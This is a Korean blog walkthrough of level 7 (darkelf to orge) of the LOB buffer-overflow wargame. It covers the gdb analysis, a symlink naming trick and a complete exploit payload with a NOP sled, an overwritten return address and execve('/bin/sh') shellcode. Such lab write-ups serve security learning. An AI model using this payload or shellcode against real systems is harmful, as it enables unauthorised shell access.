ii4gsp
LOB - Level7 [darkelf -> orge] 본문
이전 문제에서 argv[0]이 77이 아니라면 에러문자와 함께 프로그램이 종료된다.
즉, 파일의 이름이 77이여야 한다.
gdb로 열기위해 /tmp/ 폴더에 저장을 해주자
파일명이 72글자인 이유는 앞의 경로 /tmp/의 글자를 -5 해준것이다.
gdb로 분석을해보자
strcpy() 함수가 호출되고 실행되는 명령인 <main+280> 부분에 break point를 걸어주자
48번째 바이트가 \xbf가 되도록 하고 argv[2]에 A를 100개 넣었다.
값을 확인해보자
0xbffffb64를 ret의 주소로 잡고 페이로드를 작성하였다.
ln -s orge $(python -c 'print "A" * 75') 명령어로 orge파일을 A * 75개의 이름으로 만들어주고
75인 이유는 ./AAAA......... 로 실행하기 때문에 ./ 두 글자를 77 - 2 해서 75이다.
payload
./$(python -c 'print "A" * 75') $(python -c 'print "\x90" * 44 + "\x64\xfb\xff\xbf"') $(python -c 'print "\x90" * 1000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
'시스템 해킹 > LOB' 카테고리의 다른 글
LOB - Level9 [troll -> vampire] (0) | 2020.01.16 |
---|---|
LOB - Level8 [orge -> troll] (0) | 2020.01.16 |
LOB - Level6 [wolfman -> darkelf] (0) | 2020.01.14 |
LOB - Level5 [orc -> wolfman] (0) | 2020.01.14 |
LOB - Level4 [goblin -> orc] (0) | 2020.01.14 |
Comments